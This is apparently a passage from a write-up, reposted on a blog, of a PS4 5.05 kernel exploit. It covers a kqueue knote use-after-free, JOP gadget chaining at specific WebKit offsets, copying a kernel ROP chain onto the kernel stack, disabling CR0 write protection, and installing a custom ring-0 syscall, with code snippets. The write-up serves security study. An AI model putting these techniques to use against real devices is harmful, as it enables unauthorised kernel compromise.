Our exploit strategy is targetting a UAF on the `knote` object to hijack the instruction pointer. Let's break down the steps/stages for successful exploitation.

1) Open BPF descriptors, setup one NOP filter and one filter for heap spraying
2) Setup the fake `knote` object in WebKit's heap for JOP.
3) Setup the kernel ROP chain
4) Start thread one
5) Start thread two

Thread 1 will do the following actions:
1) Create a kqueue via `sys_kqueue()`
2) Set a filter on the device in an attempt to poison the allocator
3) Trigger a kevent
4) Perform a heap spray in an attempt to achieve memory corruption
5) Close the kqueue (attempt to achieve code execution)

Thread 2 will simply continously attempt to set a write filter.

# A poor mans SMAP
At some point in 5.0x, it seems Sony added some mitigation into the scheduler to check the stack pointer against userland addresses when running in kernel context, similar to the increasingly common "Supervisor Mode Access Prevention" (SMAP) mitigation found on modern systems. This turned an otherwise fairly trivial exploit into some complex kernel memory manipulation to run a kernel ROP (kROP) chain. To my knowledge this hasn't been investigated very much, but attempting a simple stack pivot like we've done in previous exploits into userland memory will crash the kernel.

To avoid this, we need to get our ROP chain into kernel memory. To do this, qwerty decided to go with the method he used on the iPhone 7 - essentially using JOP to push a bunch of stack frames onto the kernel stack, and `memcpy()`'ing the chain into `RSP`.

You can find a detailed annotation of the exploit [here](https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed6499a00fce0c081f7bf1efaaef1/kernel.js) to assist in understanding it, as it does get quite complex.
# JOP Explained
Software engineers have started getting wise to stack pivot techniques, and preventing the attacker from the ability to stack pivot into user-controlled memory is a pretty decent counter-measure, however, like everything, it is bypassable. JOP (jump oriented programming) is a way. You could use JOP to implement a full chain, or use it as a method of getting to ROP via getting your ROP chain into kernel memory. The latter is preferred, because implementing logic in JOP (while possible) can be a nightmare.

### ROP vs. JOP
Return Oriented Programming (ROP) is essentially the process of creating a fake stack and pushing the address of gadgets to it, and pivotting RSP to it. Your chain of gadgets is then executed like a real callstack, and every time the `ret` instruction is hit, the next gadget in the chain is run.

Jump Oriented Programming (JOP) works a bit differently. Instead of ending your gadgets with a `ret` instruction, you end your gadgets with a `jmp` instruction. As long as you control the destination (maybe there's a register you can influence the value of), you can chain it with other gadgets, without the need of using a fake stack. For instance, if you control the value of `rax`, your gadget can end with `jmp rax`. By setting the value of `rax` to the address of the next gadget, you can chain them.

With JOP you generally have to get more creative, because you're even more limited on potential gadgets - this is why implementing full chains in JOP is not preferred.

[src](https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html)
![](https://2.bp.blogspot.com/-yUFFwdM6oO0/Tuiw4OjNixI/AAAAAAAAK3E/tSw-A5H-O9o/s1600/Screen+Shot+2011-12-14+at+3.20.51+PM.png)

# Faking a knote
Now that we've covered the basics of what the exploit is and the basics of JOP, we'll start through the process of exploiting the bug. The first thing we need to do is setup a fake `knote` object to spray the heap with. Luckily, faking this object is easy, there's no need to fake a bunch of members for stability, we only need to fake a few members along with `kn_fops`, our target object. The `ctxp` buffer is used to setup our fake `knote`.

```javascript
var ctxp = p.malloc32(0x2000); // ctxp = knote
p.write8(ctxp.add32(0), ctxp2); // 0x00 = kn_link - not important for kqueue per se, but for the JOP gadget
p.write8(ctxp.add32(0x50), 0); // 0x50 = kn_status = 0 (clear flags so detach is called)
p.write8(ctxp.add32(0x68), ctxp1); // 0x68 = kn_fops
```

Notice that we've set `kn_fops` to `ctxp1` - this is the buffer for the fake `kn_fops` function table. The only thing we need to fake in this table is `kn_fops->f_detach()`, because this is the only function that will be called on kqueue destruction.

```javascript
var ctxp1 = p.malloc32(0x2000); // ctxp1 = knote->kn_fops
p.write8(ctxp1.add32(0x10), offsetToWebKit(0x12A19CD)); // JOP gadget
```

As you can see, this is where we achieve arbitrary code execution, and we're directing RIP to `0x12A19CD` in WebKit. Here's an x86 snippet of the relevant code for `kqueue_close()` - where control of the instruction pointer is achieved.

[src](http://fxr.watson.org/fxr/source/kern/kern_event.c?v=FREEBSD90#L1664)
```
; Note: R14 = ctxp
seg000:FFFFFFFF89D29861 test byte ptr [r14+50h], 8 ; we set ctxp+0x50 to 0, so we're good
seg000:FFFFFFFF89D29866 jnz short loc_FFFFFFFF89D29872 ; irrelevant
seg000:FFFFFFFF89D29868 mov rax, [r14+68h] ; r14 + 0x68 = ctxp1
seg000:FFFFFFFF89D2986C mov rdi, r14 ; r14 + 0x00 = ctxp2 = rdi
seg000:FFFFFFFF89D2986F call qword ptr [rax+10h] ; JOP gadget
```

Also notice that we control the `rdi` register here via the `r14` register. Under normal circumstances, the knote object `kn` is loaded into `rdi` as it's the first argument to `kn->kn_fop->f_detach()` - however because we have corruption on the `knote` - we can not only control where we jump to, but also the arguments. This is important for JOP, because the next jump in the first JOP gadget requires us to have control of the RDI register.

# Code Execution
### Creating space on the kstack
To push some space on the stack, we can use a JOP chain. We'll use the variable `stackshift_from_retaddr` to track how much we've pushed on the stack. First we'll run a function prologue, which will subtract from RSP, creating space for us to put our ROP chain into. This function prologue is our first JOP gadget at `0x12A19CD`, which we setup previously in our fake `knote` that we sprayed.

```
seg000:00000000012A19CD sub rsp, 58h
seg000:00000000012A19D1 mov [rbp-2Ch], edx
seg000:00000000012A19D4 mov r13, rdi
seg000:00000000012A19D7 mov r15, rsi
seg000:00000000012A19DA mov rax, [r13+0]
seg000:00000000012A19DE call qword ptr [rax+7D0h] // Implicitly subs 0x8 from rsp
```

At this point, we're 0x5C away from the original stack pointer. Now remember, for JOP to work, we need to be able to control where code jumps next, which means we have to control `rax`. Luckily, we can see `rax` is loaded from `r13+0`, and `r13` is set from `rdi`. As detailed above, we have corruption on `rdi` via the `knote` object. If we look at the previous section where the JOP gadget is called from the kernel, we set `rdi` to be `ctxp2`. The next gadget will be called at `ctxp2 + 0x7D0`, which we will set to `0x6EF4E5`.

```javascript
p.write8(ctxp2.add32(0x7d0), offsetToWebKit(0x6EF4E5));
```
```
seg000:00000000006EF4E5 mov rdi, [rdi+10h]
seg000:00000000006EF4E9 jmp qword ptr [rax]
```

This gadget will allow us to set `rdi` to a new value, and jump to `rax`, which is still equivalent to the address of `ctxp2`. Notice that this gadget allows us to loop, because we can write the first gadget to `ctxp2`, and set where the first gadget jumps to via `rdi + 0x10`.

```javascript
var iterbase = ctxp2;

for (var i = 0; i < 0xf; i++) { // loop 15 times
p.write8(iterbase, offsetToWebKit(0x12A19CD)); // first JOP gadget
stackshift_from_retaddr += 8
p.write8(iterbase.add32(0x7d0 + 0x20), offsetToWebKit(0x6EF4E5)); // second JOP gadget
p.write8(iterbase.add32(8), iterbase.add32(0x20));
p.write8(iterbase.add32(0x18), iterbase.add32(0x20 + 8))
iterbase = iterbase.add32(0x20); // setup next loop
}
```

### Preparing memcpy call
#### Fundamentals
Now that we've created space on the stack, we want to copy our kernel ROP chain into it to get executed. Let's take a look at memcpy()'s function signature:

```c
void *memcpy(void *destination, const void *source, size_t num);
```

As defined in the x64 ABI (Application Binary Interface) - the following registers are used to pass arguments to functions:

```
rdi - first argument
rsi - second argument
rdx - third argument
rcx - fourth argument
r8 - fifth argument
r9 - sixth argument
[stack] - seven+ arguments
```

Therefore, the following registers are interesting to us for this memcpy call:

```
rdi (memory destination pointer)
rsi (memory source pointer)
rdx (size in bytes)
```

#### Setting Size
The first thing we'll do is load RDX for the size. We can do this via another JOP gadget in WebKit at `0x15CA41B`.

```
seg000:00000000015CA41B mov rdx, [rdi+0B0h]
seg000:00000000015CA422 call qword ptr [rdi+70h]
```

We can write relative to RDI via the `rdibase` variable. By adding our shift plus 0x28 (offset for where we're writing on the stack), we can load RDX with our chain length.

#### Setting Source
Next we'll load the source pointer in RSI. We want this to point to where we're writing our kernel ROP chain in userland. Similar to when we set the size, we'll again look for a JOP gadget that can set RSI from memory relative to RDI. WebKit at `0x1284834` does the trick.

```
seg000:0000000001284834 mov rsi, [rdi+8]
seg000:0000000001284838 mov rdi, [rdi+18h]
seg000:000000000128483C mov rax, [rdi]
seg000:000000000128483F call qword ptr [rax+30h]
```

#### Setting Destination
Finally, we need to setup RDI so that it points to all of our fake stack frames that we pushed on the kernel stack. This turns out to be at RBP (base pointer) - 0x28. We can use another JOP gadget at `0x272961`.

```
seg000:0000000000272961 lea rdi, [rbp-28h]
seg000:0000000000272965 call qword ptr [rax+40h]
```

#### Calling Memcpy
Now that the arguments are setup, we need to call `memcpy()`. Notice from our last JOP gadget, that the next place we jump to is setup based on `[rax + 0x40]`. This is where we want to write the address of `memcpy()` from userland. We'll skip the function prologue and optimizations to avoid side-effects produced from our previous JOP gadgets.

```javascript
p.write8(raxbase.add32(0x40), memcpy.add32(0xC2 - 0x90)); // skip prolog covering side effecting branch and skipping optimizations
var topofchain = stackshift_from_retaddr + 0x28;
p.write8(rdibase.add32(0xB0), topofchain);
```

# Exploit Debugging (Kind Of)
### Summary
It was suggested to me that I should include a section containing some details on complications that occured. We've already detailed one of them, being the SMAP-like implementation, however another was the lack of debugging. At this point in time, we didn't have a kernel debugging framework setup for working with the PS4. We did however have the ability to patch the kernel to enable UART and "verbose panic" information if we have an existing kernel exploit working. Of course though, once the system reboots, we no longer have access to UART nor verbose panic info even if we did.

### Fatal Traps
Panic information that's printed to the klog/UART can be a very helpful tool for debugging exploits (which is probably why Sony has it disabled in the first place). Below is an example of a standard page fault panic from klog:

```
Fatal trap 12: page fault while in kernel mode
cpuid = 0; apic id = 01
fault virtual address = 0xffffde1704254000
fault code = supervisor read instruction, protection violation
instruction pointer = 0x20:0xffffde1704254000
stack pointer = 0x28:0xffffff807119b220
frame pointer = 0x28:0xffffff807119b2b0
code segment = base 0x0, limit 0xfffff, type 0x1b
= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags = interrupt enabled, resume, IOPL = 0
current process = 87 (infloopThr)
```

As you can see, some information here is extremely useful, especially the virtual address and the instruction pointer.

### Complications
This information is fantastic when the system actually gives it to us. However, there are some cases where the system won't. Often this seems to be because the crash happens in a *critical section*, such as inside free() directly. For more information on critical sections, see [Critical Sections](https://en.wikipedia.org/wiki/Critical_section).

Other times, the reason we don't get this information is unknown. If the panic information is unobtainable for us because we either don't have an existing exploit or the information just won't get printed to the klog, other tricks must be used, such as using infloop gadgets and other "hacky" exploit debugging techniques.

# Patching the Kernel
### Disabling Write Protection
Now that we have the ability to run kernel ROP chains due to our stack manipulation sorcery described in the last section, we can apply kernel patches after we disable kernel write protection via the `cr0` register. We can do this by just flipping the write-protection bit at bit 16.

[src](https://en.wikipedia.org/wiki/Control_register#CR0)
![cr0 table](https://i.imgur.com/L2DwIrz.png)

```js
krop.push(window.gadgets["pop rsi"]);
krop.push(new int64(0xFFFEFFFF, 0xFFFFFFFF)); // Flip WP bit
krop.push(window.gadgets["and rax, rsi"]);
krop.push(window.gadgets["mov rdx, rax"]);
```

### Installing a Syscall (Kexec)
For brevity's sake, I won't cover all the patches in detail, however here's a brief recap of the patches made in the ROP chain.

```
sys_setuid syscall - remove permission check
sys_mmap syscall - allow RWX mapping
amd64_syscall - syscall instruction allowed anywhere
sys_dynlib_dlsym syscall - allow dynamic resolving from anywhere
```

The main goal of the chain is to install our own system call called `kexec`. This will allow us to execute arbitrary code in kernel mode easily from any application, no matter the privileges.

```c
sys_kexec(void *code, void *uap);
```

Code such as jailbreaking and HEN are ran via `kexec`. Installing it is fairly easy, we just have to add an entry into sysent.

[src](http://fxr.watson.org/fxr/source/sys/sysent.h?v=FREEBSD90#L56)
```c
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
u_int32_t sy_thrcnt;
};
```

By setting `sy_call` to a `jmp qword ptr [rsi]` gadget (which can be found in the kernel at offset `0x13460`), `sy_narg` to `2`, and `sy_flags` to `SY_THR_STATIC` (`100000000`), we can successfully insert a custom system call that executes code in ring0.

```
seg000:FFFFFFFF8AC38820 dq 2 ; Syscall #11
seg000:FFFFFFFF8AC38828 dq 0FFFFFFFF89BCF460h
seg000:FFFFFFFF8AC38830 dq 0
seg000:FFFFFFFF8AC38838 dq 0
seg000:FFFFFFFF8AC38840 dq 0
seg000:FFFFFFFF8AC38848 dq 100000000h
```

# Sony Patch
Again, not a real patch, but a Sony patch - though this time more effective. Opening BPF has been blocked for unprivileged processes such as WebKit and other apps/games. It's still present in the sandbox, however attempting to open it will fail and yield EPERM.

# Conclusion
Another cool bug to exploit. It should have been a trivial exploit, however Sony's new mitigation that prevents exploit devs from pivotting RSP into userland memory while in kernel context is quite effective, and some tricks had to be used to get the chain into kernel memory - but as demonstrated, it is beatable. This exploit is also a good example of how double free()'s can be exploited fairly easily on FreeBSD if they're on an object of decent size.

# Credits
[qwertyoruiopz](https://twitter.com/qwertyoruiopz)

[flatz](https://twitter.com/flat_z)

# Additional Thanks
[TheFloW](https://twitter.com/theflow0) - Suggestions and Feedback

# References
[qwertyoruiopz : Detailed Annotation](https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed6499a00fce0c081f7bf1efaaef1/kernel.js)

[qwertyoruiopz : Zero2Ring0 Slides](http://crack.bargains/02r0.pdf)

[Watson FreeBSD Kernel Cross Reference](http://fxr.watson.org/fxr/source/?v=FREEBSD90)

[Marco Ramilli : From ROP to JOP](https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html)

[Wikipedia : Control register (cr0)](https://en.wikipedia.org/wiki/Control_register#CR0)

[Wikipedia : Critical section](https://en.wikipedia.org/wiki/Critical_section)

人已赞赏
安全工具

Abusing Kerberos: Kerberoasting

2020-2-6 4:00:57

安全工具

<p>VLAN跳跃攻击.</p>

2020-2-6 4:00:59

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索